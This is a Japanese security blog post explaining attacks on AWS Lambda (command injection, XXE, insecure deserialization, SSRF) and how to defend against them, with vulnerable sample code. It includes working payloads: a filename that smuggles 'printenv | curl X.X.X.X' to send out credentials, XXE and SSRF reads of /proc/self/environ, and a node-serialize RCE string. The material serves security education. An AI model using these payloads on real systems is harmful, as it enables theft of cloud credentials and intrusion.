Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

サーバーレスのセキュリティリスク - AWS Lambdaにおける脆弱性攻撃と対策

はじめに

こんにちは、株式会社Flatt Security セキュリティエンジニアの森岡(@scgajge12)です。

本稿では、AWS Lambda で起こりうる脆弱性攻撃やリスク、セキュリティ対策を解説し、サーバーレスにおけるセキュリティリスクについて紹介します。

AWS Lambda について

AWS Lambda とは、AWS が提供するイベント発生時にコード実行するコンピューティングリソースで、サーバーレスや FaaS (Function as a Service)とも呼ばれています。Lambda が利用される場面としては、 API Gateway と連携し API として活用されるケースや S3 にオブジェクトがアップロードされた際のイベント処理をするケースなどがあります。現在対応しているプログラミング言語は7種類(Node.js, Python, Java, Ruby, C#, Go, PowerShell)あり、多くの開発現場で Lambda が活用できることが想定されます。

また、サーバーレス(サーバーレスアーキテクチャ)とは、開発者がサーバーの管理を気にすることなくマネージドサービスを組み合わせて設計や運用することで、AWS のサービスでは Lambda や S3 、DynamoDB 、Cognito 、AppSync などがあります。

サーバーレスの特徴として「サーバー管理が不要」「柔軟なスケーリング」「リソース確保の不要」「高可用性」などがあり、開発者にとって非常に開発や運用がしやすいものと思われます。セキュリティ面でも、 OS やミドルウェアの脆弱性管理やネットワーク周りの対策も不要となり、セキュリティに対する手間やコストも減らすことができます。

しかし、サーバーレスな Lambda でも Lambda 関数のコードやモジュールに含まれるライブラリに脆弱性がある場合、脆弱性攻撃が行われ情報漏洩などの被害が発生する可能性があります。

サーバーレスにおけるセキュリティリスク

Web アプリケーションのセキュリティを研究する非営利の国際コミュニティ「OWASP (The Open Web Application Security Project)」の調査結果をまとめた、サーバーレスアプリケーションが含みうる重大なセキュリティリスクをランキング形式で示す「OWASP Serverless Top 10」というものがあります。

その最新版である2018年版 OWASP Serverless Top 10 の1位に「Injection」、4位に「XML External Entities (XXE)」などが含まれています。この調査結果から、Web アプリケーションの一般的な脆弱性がサーバーレスでも多く重大であることがわかります。

クラウドのセキュリティに関する調査研究と提言、教育活動を展開する非営利活動法人「Cloud Security Alliance (CSA)」が公開している「サーバーレスアプリケーションのための最も重大な12のリスク(2019 年)」では、1位に「関数イベント・データインジェクション」という記載もあります。

そのため、サーバーレスな Lambda でも同様に、脆弱なソースコードにより脆弱性攻撃が行われる可能性が十分あると考えられます。

ちなみに、OWASP Serverless Top 10 の9位には「既知の脆弱性のあるコンポーネントの使用」があります。こちらに関しては、弊社ブログ「Lambdaの落とし穴 - 脆弱なライブラリによる危険性とセキュリティ対策」のテーマで詳しく紹介しています。

こちらもぜひご覧ください。 blog.flatt.tech

AWS Lambda で起こりうる脆弱性攻撃

実際に Lambda のコードやモジュールに含まれるライブラリに脆弱性がある場合、起こりうる脆弱性攻撃は以下のようなものが考えられます。

  • OS Command Injection (CWE-78)
  • XML External Entity (CWE-611)
  • Insecure Deserialization (CWE-502)
  • Server Side Request Forgery (CWE-918)
  • Remote Code Execution (CWE-94)

OWASP の調査結果をまとめた、Webアプリケーションが含みうる重大なセキュリティリスクをランキング形式で示す「OWASP Top 10」というものがあり、今回取り上げる脆弱性はその最新版である2021年版 OWASP Top 10 の3位・5位・8位・10位に該当します。

この調査結果から、これらの脆弱性はアーキテクチャを問わず Web アプリケーションにおいて世界的に多いことがわかります。

そのため、もし各脆弱性が Lambda のコードやモジュールのライブラリにある場合、どのような脆弱性攻撃が行われ、どういうリスクが考えられるかについて把握しておく必要があります。

Lambda での脆弱性攻撃によるリスク

Lambda で起こりうる脆弱性攻撃によるリスクを整理すると、特に危険度の高い脅威は以下のようになります。

  • OS Command Injection
    • 環境変数の内容を取得するコマンドの悪用による IAM Role のクレデンシャルの奪取
  • XML External Entity (XXE)
    • XXE から Path Traversal によるファイル内容の流出
      • Lambda のソースコードなどを読み取ることによる機微な情報の奪取
        • ハードコーディングされたクレデンシャルなど
      • /proc/self/environ を読み取ることによる環境変数から IAM Role のクレデンシャルの奪取
    • XXE から SSRF による機微な情報の奪取
  • Insecure Deserialization
    • 任意コードの実行による環境変数から IAM Role のクレデンシャルの奪取
  • Server Side Request Forgery (SSRF)
    • Lambda runtime API などにアクセスすることによる機微な情報の奪取
    • File schema で /proc/self/environ を読み取ることによる環境変数から IAM Role のクレデンシャルの奪取
  • Remote Code Execution (RCE)
    • 任意コードの実行による環境変数から IAM Role のクレデンシャルの奪取

以上のように脆弱性攻撃ができる場合、Lambda 上に格納されている様々なクレデンシャル(認証情報)を入手することができます。

脆弱性攻撃による更なるリスク

もし攻撃者が Lambda のコードやモジュールに含まれるライブラリに潜む脆弱性を通して Lambda に付与されている IAM Role のクレデンシャル( AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN)を入手できた場合、以下のような悪用方法が考えられます。

  • 入手した IAM Role が持つアクセス権限を使用して、他の AWS サービスやリソースを不正操作
    • 例) 機密性の高いデータベースやストレージへの読み取りや書き込みなど
  • IAM Role の特権昇格
  • Lambda 上で仮想通貨マイニング

これらにより「情報漏洩・改ざん」「権限の昇格による不正操作」「多額の請求」などが発生する可能性があります。

ちなみに Lambda は、AWS が提示している「責任共有モデル」に従っており、コードの脆弱性はユーザー(開発者)の責任となっています。

そのため開発者は、Lambda 全体を通してセキュリティ対策をする必要があることがわかります。

ここからは、Lambda において想定できる各脆弱性攻撃の概要について以下で紹介します。

OS Command Injection

OS Command Injection とは、サーバーに不正な OS コマンドを送信することでサーバー内で任意の OS コマンドを実行させることができる脆弱性です。Web アプリケーションに OS Command Injection がある場合、サーバー内にあるファイルの改竄や取得、マルウェア感染やサーバーの乗っ取りなどが行われる可能性があります。

もし Lambda のコードやモジュールに含まれるライブラリに OS コマンド(外部コマンド)を実行する関数が使われている場合、攻撃者の任意の文字列をそのまま関数に渡して実行されることにより、任意の OS コマンドを Lambda 上で実行できる可能性があります。外部コマンドを実行する関数は、Node.js なら child_process.execchild_process.spawn 、Python なら subprocess.callos.system などがあります。

ここをクリックすると脆弱な Python コードと攻撃例が表示されます

例えば、S3 にアップロードされた画像を Lambda 上にダウンロードして convert コマンドで編集する Lambda 関数があるとします。イメージとしては、次のような Python コードになり、脆弱な部分は10行目の subprocess.call() になります。

import boto3, subprocess, datetime, urllib

def lambda_handler(event, context):
 ...
  now = datetime.datetime.now()
  path = '{year}/{month}/{day}/'.format(year=now.year, month=now.month, day=now.day)
  name = now.strftime('%Y%m%d%H%M%S') + '.jpg'
  subprocess.call('mkdir -p /tmp/' + path, shell=True)
 ...
  subprocess.call('cd /tmp; convert {FileName} {Path}{File}'.format(FileName=download_file, Path=path, File=name), shell=True)
 ...

想定される処理として、ダウンロードされたファイル名が hoge.jpg の場合、10行目で以下のような OS コマンドが実行されます。

cd /tmp; convert hoge.jpg 2022/03/01/20220301130000.jpg

しかし、もしファイル名が hoge; printenv | curl X.X.X.X --data-urlencode @-; #.jpg のような場合、10行目で以下のような OS コマンドが実行されます。

cd /tmp; convert hoge; printenv | curl X.X.X.X --data-urlencode @-; #.jpg 2022/03/01/20220301130000.jpg

この場合、Lambda 上で printenv コマンドを実行した結果を curl コマンドで対象のサーバー(X.X.X.X)に送信するコマンドが実行されます。

このように外部コマンドを実行する関数に悪意のある文字列を送り込むことで、第三者の任意のコマンドを実行させることができ、OS Command Injection による脆弱性攻撃が行える可能性があります。

また今回のように printenv | curl X.X.X.X のようなコマンドを実行させることで、攻撃者は Lambda の環境変数の内容を自分が保持する指定のサーバーに送らせることができ、環境変数の中から Lambda に付与されている IAM Role のクレデンシャルを取得することができます。もしくは、直接 Lambda に侵入してクレデンシャルを入手したり、脆弱性攻撃の結果がそのまま API などのレスポンスに含まれる場合、レスポンスから入手することができます。

実際に先程の OS Command Injection による脆弱性攻撃を試してみると、以下のように攻撃者のサーバーに情報が送信され、IAM Role のクレデンシャル(AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID)を入手することが可能です。

POST / HTTP/1.1
Host: X.X.X.X
User-Agent: curl/7.61.1
Accept: */*
Content-Length: 2175
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue

AWS_LAMBDA_FUNCTION_VERSION%3D%24LATEST%0AAWS_SESSION_TOKEN%3DIQoJ..........xqE%3D...%0AAWS_SECRET_ACCESS_KEY%3DXDol********************************K2hq...AWS_ACCESS_KEY_ID%3DASIA************5LGP...

そのため Lambda 上で OS Command Injection による脆弱性攻撃が行える場合、攻撃者は Lambda に付与されている IAM Role のクレデンシャルを入手し、悪用することで更なる攻撃に繋がる可能性があります。

XML External Entity (XXE)

XML External Entity (XXE)とは、XML を解析する際に XML の特殊な構文を悪用することで意図しない処理を実行させることができる脆弱性です。XXE の特性として、Path Traversal (CWE-22)や Server Side Request Forgery (CWE-918)、Denial of Service (CWE-400)などの脆弱性攻撃に繋げることが出来ます。そのため Web アプリケーションに XXE がある場合、サーバー内にあるファイルの取得などが行われる可能性があります。

Lambda のコードやモジュールに含まれるライブラリに XML を扱う処理があり、XML Parser の設定が脆弱な状態になっている場合を考えます。この時攻撃者が悪意のある文字列を含ませた XML を処理させると Path Traversal などの脆弱性攻撃を Lambda 上で実行できる可能性があります。XML をパースするモジュールやライブラリは、Node.js なら fast-xml-parserxml2js 、Python なら ElementTreelxml などがあります。

ここをクリックすると脆弱な Python コードと攻撃例が表示されます

例えば、S3 にアップロードされた XML ファイルを Lambda にダウンロードして lxml ライブラリで解析して結果を出力する Lambda 関数があるとします。イメージとしては、次のような Python コードになり、脆弱な部分は6~7行目の etree.XMLParser() になります。

from lxml import etree
import boto3, os, urllib, json

def lambda_handler(event, context):
 ...
  parser = etree.XMLParser()
  document = etree.fromstring(download_file, parser)
 ...

想定される処理として、以下のようなユーザー情報や集計データなどを含む XML ファイルをダウンロードし、Lambda 上で処理して Web アプリケーション側で出力します。

<?xml version="1.0" encoding="UTF-8" ?>
<users>
  <user>
    <uid>hoge</uid>
    <name>hogehoge</name>
    <date>hogehogehoge</date>
    <role>user</role>
  </user>
 ...
</users>
 ...

しかし、もし以下のような文字列を含む XML ファイルがアップロードされたとします。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE loadthis [<"ELEMENT loadthis ANY>
<!ENTITY somefile SYSTEM "file:////var/task/handler.py">]>
 ...
<loadthis>&somefile;</loadthis>
 ...

この場合、先程の6行目の XML Parser は外部のエンティティの読み込みを許可したままのため、file:///var/task/handler.py が実行され、/var/task/handler.py ファイルを読み込みます。そのためファイルのソースコードが出力され、第三者はコード内容を取得することが可能です。

また Lambda 上では、/proc/self/environ ファイルに IAM Role のクレデンシャルが含まれています。そのため、XXE で file:///proc/self/environ にアクセスし読み取ることで IAM Role のクレデンシャルを取得することが可能です。もしソースコード内にデータベースの認証情報やハードコーディングされたクレデンシャルなどが含まれている場合、それらを入手することができます。

このように XML Parser で外部エンティティからの読み込みを許可している場合、XML に悪意のある文字列を含ませることで、XML External Entity による脆弱性攻撃が行える可能性があります。

さらに、今回のように XXE による Path Traversal で Lambda 関数のソースコードなどを取得することで、データベースやハードコーディングされたクレデンシャルなどの情報、IAM Role のクレデンシャルを入手することができます。

実際に先程の XXE による Path Traversal で /proc/self/environ を読み込ませる脆弱性攻撃を試してみると、以下のように IAM Role のクレデンシャル(AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCESS_KEY_ID)を含む環境変数の内容を入手することが可能です。

AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=IQoJ..........xqE=
 ...
AWS_SECRET_ACCESS_KEY=XDol********************************K2hq
 ...
AWS_ACCESS_KEY_ID=ASIA************5LGP
 ...

そのため、 Lambda 上で XML External Entity による脆弱性攻撃が行える場合、攻撃者は Lambda 関数のソースコードや環境変数から機微な情報やクレデンシャルを入手し、悪用することで更なる攻撃に繋がる可能性があります。

Insecure Deserialization

Insecure Deserialization (安全ではないデシリアライゼーション)とは、バイト列で直列化されたデータをオブジェクトに変換する処理で不正な処理を実行させることができる脆弱性です。Insecure Deserialization の特性として、データの改竄や権限昇格、 Denial of Service (CWE-400)や Remote Code Execution (CWE-94)などの脆弱性攻撃に繋げることが出来ます。そのため Web アプリケーションに Insecure Deserialization がある場合、サーバー内で任意コードの実行が行われる可能性があります。

もし Lambda のコードやモジュールに含まれるライブラリに外部から受け取ったデータをデシリアライズする処理がある場合、脆弱なデシリアライズ処理により、攻撃者がの悪意あるデータ(文字列)をデシリアライズ化することで任意コードの実行ができる可能性があります。シリアライズやデシリアライズをするモジュールやライブラリは、Node.js なら node-serialize 、Python なら pickle などがあります。

ここをクリックすると脆弱な Node.js コードと攻撃例が表示されます

例えば、実際に Node.js の node-serialize ライブラリにあった既知の脆弱性(CVE-2017-5941)を悪用するケースを考えます。

Web アプリケーションのセッション管理において Lambda 上で特定のバージョンの node-serialize を使用して Cookie のデシリアライズ化の処理を行う Lambda 関数があるとします。

イメージとしては、次のような Node.js コードになり、脆弱な部分は10行目の serialize.unserialize() になります。

var serialize = require("node-serialize");

exports.handler = async(event, context) {
 ...
  var str = new Buffer(req.cookies.profile, 'base64').toString();
  var obj = deserialize(str);
};
 ...
var deserialize = function(object){
  return serialize.unserialize(object)
};
 ...

node-serialize のバージョン0.0.4 では、デシリアライズする unserialize() の内部処理で eval() が使われていました。そのため第三者が入力した悪意のある文字列が直接処理され、任意コードの実行をすることが可能です。

node-serialize の脆弱性の詳しい解説は、こちらの資料(Exploiting Node.js deserialization bug for Remote Code Execution)をご覧ください。

想定では、ユーザー情報を含む Cookie を Lambda で扱う際に serialize.unserialize() でデシリアライズしてデータを扱い処理します。

しかし、もし以下のような文字列が serialize.unserialize() に渡され実行されたとします。

{\"rce\":\"_$$ND_FUNC$$_function (){require('child_process').exec('printenv', function(error, stdout, stderr) { console.log(stdout) });}()\"}

この場合、unserialize() の内部で実行されている eval() により任意コードの実行が可能なため、Lambda 上で printenv コマンドを実行させ、環境変数の内容を console.log に出力する処理を実行させることができます。

実際に Cookie 等に含ませて Lambda に送る場合、悪意のある文字列をエンコードすることで送れる形に生成して、Cookie を通して送ります。

今回は console.log で出力させていますが、実際は OS Command Injection のように攻撃者が保有する指定のサーバーに向けて環境変数に含まれる IAM Role のクレデンシャルを送らせて入手したり、直接 Lambda に侵入してクレデンシャルを入手したりすることが可能です。もしくは、脆弱性攻撃の結果がそのまま API などのレスポンスに含まれる場合、レスポンスから入手することができます。

このようにデシリアライズする処理に第三者が送信した文字列を直接扱って処理する場合、Insecure Deserialization による脆弱性攻撃が行える可能性があります。

また、今回のように Insecure Deserialization による任意コードの実行で Lambda に付与されている IAM Role のクレデンシャルを環境変数から出力させることが可能です。

そのため Lambda 上で Insecure Deserialization による脆弱性攻撃が行える場合、攻撃者は Lambda に付与されている IAM Role のクレデンシャルを入手し、悪用することで更なる攻撃に繋げることが出来ます。

Server Side Request Forgery (SSRF)

Server Side Request Forgery (SSRF)とは、本来アクセスすることができないサーバーに直接アクセスして、リクエストを送り情報を不正に取得することができる脆弱性です。 Web アプリケーションで SSRF がある場合、公開されていない内部サーバーや管理者用のサーバーにアクセスできることによる情報漏洩があります。また、SSRF がある Web アプリケーションが Amazon EC2 上にある場合、EC2 のメタデータサービスにアクセスすることによるクレデンシャルの奪取に繋がる可能性もあります。

もし Lambda のコードやモジュールに含まれるライブラリに外部から渡された URL や IP アドレスを扱い、対象にリクエストを送るような処理がある場合、攻撃者が悪意のある宛先を指定してリクエストを送らせることで機密情報やクレデンシャルを入手できる可能性があります。HTTP リクエストを呼び出すモジュールやライブラリは、Node.js なら requesthttp 、Python なら Requestsurllib などがあります。

ここをクリックすると脆弱な Node.js コードと攻撃例が表示されます

例えば、外部から Web API のアドレスを受け取って Lambda 上でそのままリクエストを投げ、レスポンスを受け取り情報を扱う Lambda 関数があるとします。

イメージとしては、次のような Node.js コードになり、脆弱な部分は8行目の request.get() になります。

const request = require("request");

module.exports.handler = async (event) => {
 ...
  const response = {
    statusCode: 200,
    body: JSON.stringify(await new Promise((resolve, reject) => {
      request.get(url, (error, response, body) => {
        if (error) {
          reject(error)
        } else {
          resolve(response)
        }
      })    
    })),
  };
 ...
};

想定される処理として、予期されている API のアドレスが Lambda の変数 url に渡され、Lambda 上からその対象に対してリクエストを投げてレスポンスの情報を処理して Web アプリケーションに返します。

しかし、もしリクエスト先を Lambda runtime API である http://localhost:9001/2018-06-01/runtime/invocation/next に指定されたとします。Lambda runtime API とは Lambda 関数の内部 API で、外部からのアクセスを想定されておらず、Lambda 関数に渡されたイベントデータを返します。そのため、レスポンスに攻撃者に有益な情報が含まれている可能性があります。

この場合、受け取ったアドレスに対して Lambda 上で直接リクエストを投げているため、http://localhost:9001/2018-06-01/runtime/invocation/next にリクエストを投げることができます。そのため、第三者はレスポンスに含まれる機微な情報を入手することが可能です。

また、もし アドレス上の URL schemas (プロトコル)も指定してリクエストを投げれる場合、 File schema を指定することで Path Traversal をすることができ、任意のファイルを取得することが可能です。その場合 Lambda 上では、 file:///proc/self/environ としてリクエストを投げ、ファイルが読み込まれ、レスポンスから環境変数に含まれる IAM Role のクレデンシャルを入手することができます。

他にも PDF などのファイルを生成する場合にも、 SSRF による脆弱性攻撃が行える可能性があります。

実際に PDF を生成する Python の reportlab ライブラリにあった既知の脆弱性(CVE-2020-28463)を紹介します。これはPDF に含ませるテキストデータに img タグを含めて変換させることで SSRF を行える脆弱性です。もし Lambda 上で同様の処理やライブラリを使用していた場合も、SSRF による脆弱性攻撃が行われる可能性があります。

このように外部から渡されたアドレスに対して直接リクエストを投げている場合、第三者の任意のアドレスに対してリクエストを投げさせることで、SSRF による脆弱性攻撃が行える可能性があります。

そのため Lambda 上で Server Side Request Forgery による脆弱性攻撃が行える場合、攻撃者は Lambda に付与されている IAM Role のクレデンシャルを入手し、悪用することで更なる攻撃に繋げることが出来ます。

Remote Code Execution (RCE)

Remote Code Execution (RCE)とは、何らかの形で攻撃者によって遠隔から任意のプログラムコードを実行されてしまう脆弱性です。脆弱性の深刻度としては、最も深刻で重大な脆弱性の一つに分類されます。

RCE の手法は様々あるため今回は詳しい紹介を省きますが、他の脆弱性から RCE に繋がる場合やライブラリの脆弱性から RCE ができる場合などあります。また RCE は、第三者によって任意コードの実行をすることができるため、Lambda 上であらゆる不正な操作による脆弱性攻撃を行うことが可能です。

そのため、 Lambda 上で Remote Code Execution による脆弱性攻撃が行える場合、攻撃者は Lambda の環境変数に付与されている IAM Role のクレデンシャルを入手し、悪用することで更なる攻撃に繋げることが出来ます。

AWS Lambda におけるセキュリティ対策

セキュリティ対策

では、Lambda のコードやモジュールに対してセキュリティ対策をする場合、以下のようなことが考えられます。

ソースコード

Lambda のソースコードは、Web アプリケーションと同様にセキュリティ的に安全なコードを実装するようにしましょう。

また、OWASP は「OWASP Cheat Sheet Series」という様々なセキュリティ分野のチートシートをまとめたコンテンツを公開しています。特に今回扱った脆弱性に関する対策などで、以下の資料を参考にすると良いと思います。

これらの知識を実践的なスキルとして身につけるには、Flatt Security が提供する「KENRO」がおすすめです。OS Command Injection や XXE など Web アプリケーションの代表的な脆弱性10個に関して、脆弱なソースコードを修正するなどのハンズオンを通して学ぶことができます。

ライブラリ

Lambda のモジュールに含めるライブラリも、同様にセキュアな状態のものを使用しましょう。

  • 最新のバージョンを使用する
  • 未使用の依存関係は削除する
  • 信頼できるライブラリを使用する
  • パッケージ管理ツールを有効に使う
    • Node.js の場合:npm
    • Python の場合:PyPI
  • Lambda Layers を活用して同一のライブラリを管理できるようにする

権限 (IAM)

Lambda に付与する IAM Role は、「最小限の権限」に設定しましょう。

詳しくは、以下の資料をご覧ください。

コード署名

Lambda には「コード署名」という機能があり、Lambda のコードを署名しデプロイ時にそれを検証することで、信頼できるコードのみをデプロイすることができます。この機能は、2020年11月に発表された比較的新しい機能で、コードの署名には AWS Signer という完全マネージドコード型署名サービスを使用します。

コード署名の検証では、以下の内容をデプロイパッケージに対してチェックを行います。

  • 整合性
    • コードパッケージが署名されてから変更されていないことを検証する
  • 有効期限
    • コードパッケージの署名が有効期限切れになっていないことを検証する
  • 不一致
    • コード署名設定で許可された署名プロファイルの1つで署名されていることを検証する
  • 失効
    • コードパッケージの署名が失効していないことを検証する

そのため Lambda のコード署名の機能を活用することで、デプロイ対象のパッケージが署名の作成時から改竄されていないことを担保することができます。

詳しくは「AWS Lambda でのコード署名の設定」をご覧ください。

モニタリングや監査

Lambda におけるモニタリングや監査には、以下のような AWS サービスを有効に活用することをお勧めします。

  • Amazon CloudWatch
  • AWS CloudTrail
  • AWS X-Ray
  • AWS Config

Amazon CloudWatch

Amazon CloudWatch とは、AWS が提供するフルマネージドな運用監視サービスで、AWS の各種リソースの監視をします。

Lambda では自動的にリクエスト数やリクエストごとの実行時間、エラーのリクエスト数などのメトリクスを収集し、CloudWatch Alarm を設定することで異常検知やエラー通知などもすることが可能です。また、CloudWatch Lambda Insights を活用することで Lambda 関数ランタイムパフォーマンスメトリクスとログを収集や集計を簡素化することもできます。

Lambda 上にあるアプリケーション自体のログ管理においても大事になります。一般的なアプリケーションで行うログ管理のように、Lambda 上のアプリケーション内部の動作状況を CloudWatch で確認できるようにログを出力するようにソースコード上でも実装するようにします。例えば、重要な処理をする箇所の成否結果や認証認可の処理結果などのログを出力させ、CloudWatch から確認できるようにすると良いと思われます。

詳しくは「Lambda 関数のメトリクスの使用」や「Amazon CloudWatch での Lambda Insights の使用」をご覧ください。

AWS CloudTrail

AWS CloudTrail とは、ユーザーアクティビティと API の使用状況をログに記録するサービスで、イベント設定に応じてログを記録できます。

Lambda の実行アクティビティは「データイベント」に該当しますが、「データイベント」はデフォルトで無効に設定されています。そのため設定を有効化し、対象の証跡の作成をすることでデータイベントのログを記録することができます。しかし、データイベントは記録したイベント数に応じて追加料金がかかるため、予め確認することをお勧めします。

CloudTrail を Lambda に対して活用することで、主に Lambda の実行記録や Lambda に付与されている IAM Role の動作を記録することができます。

詳しくは「証跡のデータイベントの記録」や「CloudTrail を用いた Lambda API コールのログへの記録」をご覧ください。

AWS X-Ray

AWS X-Ray とは、アプリケーションが処理するリクエストに関するデータを収集し分析やデバッグをすることができるサービスで、サービスマップと呼ばれるグラフから対象のパフォーマンスを測ることができ、パフォーマンスの問題やエラーの根本原因を特定するなどに活用できます。

Lambda では、X-Ray アクティブトレースを有効にし適切な IAM Role を付与することで、実行時のデータが X-Ray に送信され分析されます。また、追加で AWS X-Ray SDK を利用することで詳細な結果を知ることもでき、現在は6種類 (Node.js, Python, Go, Java, .NET, Ruby)のプログラミング言語に対応しています。

X-Ray は対象のサービスによって収集するリクエストに関する情報を記録します。Lambda の場合、主に以下の3つのサブセグメントという単位で情報が記録されます。

  • Initialization
  • Invocation
    • Lambda が関数ハンドラを呼び出すフェーズ
  • Overhead
    • ランタイムが応答を送信してから、次の呼び出しのシグナルを送信するまでの間に発生するフェーズ

そのため Lambda に X-Ray を活用することで、Lambda の分析やデバッグをすることができ、パフォーマンスを測ることができます。

詳しくは「AWS X-Ray で AWS Lambda を使用する」をご覧ください。

AWS Config

AWS Config とは、AWS リソースの設定を評価、監査、審査できるサービスで、継続的にモニタリングや記録をして設定したルールに対して評価をします。

Lambda に Config を使用すると以下の変更情報を記録することができ、変更状態を追跡することができます。

  • Lambda 関数
  • ランタイム環境
  • タグ
  • ハンドラー名
  • コードのサイズ
  • メモリの割り当て
  • タイムアウトの設定
  • 同時実行の設定
  • Lambda に付与された IAM 実行ロール
  • サブネット
  • セキュリティグループ

また、Config のマネージドルールを活用することで、一般的なベストプラクティスに準拠しているかどうかを評価します。マネージドルールの動作は、ニーズに合わせてカスタマイズすることもできます。マネージドルールを利用するには、ルールを有効化(追加)することで、評価されます。

現在 Lambda には以下の5つのマネージドルールをサポートしています。

  • lambda-concurrency-check
    • Lambda 関数に関数レベルの同時実行数制限が設定されているかどうかを確認する
  • lambda-dlq-check
    • Lambda 関数にデッドレターキューが設定されているかどうかを確認する
  • lambda-function-public-access-prohibited
    • Lambda リソースにアタッチされている Lambda 関数ポリシーがパブリックアクセスを禁止しているかどうかを確認する
  • lambda-function-settings-check
    • ランタイム、ロール、タイムアウト、およびメモリサイズの Lambda 関数設定が予期されている値と一致するかどうか確認する
  • lambda-inside-vpc
    • Lambda 関数による Amazon VPC へのアクセスが許可されているかどうかを確認する

そのため Lambda に Config を活用することで、Lambda の設定変更履歴を管理し、追跡や評価をすることができます。

詳しくは「AWS Config マネージドルール」をご覧ください。

その他、注意点

Lambda を使用した開発をする上で様々な制限がありますが、例えば以下のような気にすべき注意点があります。

  • 実行時間の制限
    • デフォルト:3秒
    • 最大値:900秒 (15 分)
  • メモリ容量の制限
    • デフォルト:128MB
    • 最大値:10,240 MB
  • /tmp ディレクトリ (一時作業ディレクトリ)
    • 容量:512 MB

詳しくは、「Lambda クォータ」をご覧ください。

Lambda の料金体系については、以下のような要因が料金(課金)に影響します。

  • Lambda 関数のリクエスト数
  • コードの実行時間
  • 割り当てられたメモリの容量

ちなみに Lambda の無料利用枠は、以下が毎月(1 か月あたり)適用されるため、気にして利用することでコストを抑えることができます。

  • 100万件のリクエスト
  • 40万GB-秒の実行時間

料金の見積もりを算出したい場合、「AWS Pricing Calculator (AWS 料金計算ツール)」というものを活用すると簡単な見積もりを算出することができます。

詳しくは「AWS Lambda 料金」をご覧ください。

また、Lambda のコード内で関数自身を自動的に呼び出すような「再帰的な処理」がある場合、意図しないで料金が急増する可能性があります。そのため、Lambda 関数内で任意の条件が満たされるまで、その関数自身を自動的に呼び出すような再帰的なコードを使用しないようにしましょう。

公式資料

AWS が公開している以下の資料も Lambda を使用する際に合わせて、ベストプラクティスとして確認することをお勧めします。

終わりに

本稿では、AWS Lambda で起こりうる脆弱性攻撃やリスク、セキュリティ対策を解説し、サーバーレスにおけるセキュリティリスクについて紹介しました。

この記事を通して、一般的な Web アプリケーションのセキュリティ対策だけでなく、AWS Lambda のようなサーバーレスな環境でもソースコードに対してセキュリティ対策をする必要があることを認識して頂ければ幸いです。

特に Lambda は、付与されている IAM Role のクレデンシャルが環境変数に格納されるため、Lambda のコードやモジュールに脆弱性が含まれていると第三者にクレデンシャルを奪われる可能性があります。そのため、Lambda もセキュリティ対策に取り組むことを推奨します。

Flatt Security の AWS・GCP・Azure診断 では、クラウドサービスの設定不備を確認する一般的なクラウドセキュリティ診断だけでなく、アプリケーションの仕様を踏まえ、クラウドとアプリケーションを総合的に診断するメニューも提供しています。

様々なリソースを活用して開発を行う現代において、包括的にセキュリティ対策を行う難易度は増加しています。是非、専門家の視点で調査を行うセキュリティ診断の実施をご検討ください。

上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。

セキュリティ診断のサービス詳細は下記バナーよりご覧ください。

Flatt Securityはセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式Twitterのフォローをぜひお願いします!

twitter.com

ここまでお読みいただきありがとうございました!

参考文献

更新履歴

2022年3月17日

  • 「AWS Lambda におけるセキュリティ対策」のソースコードに対する対策部分に「AWS Secrets Manager」を使用した内容を追記しました。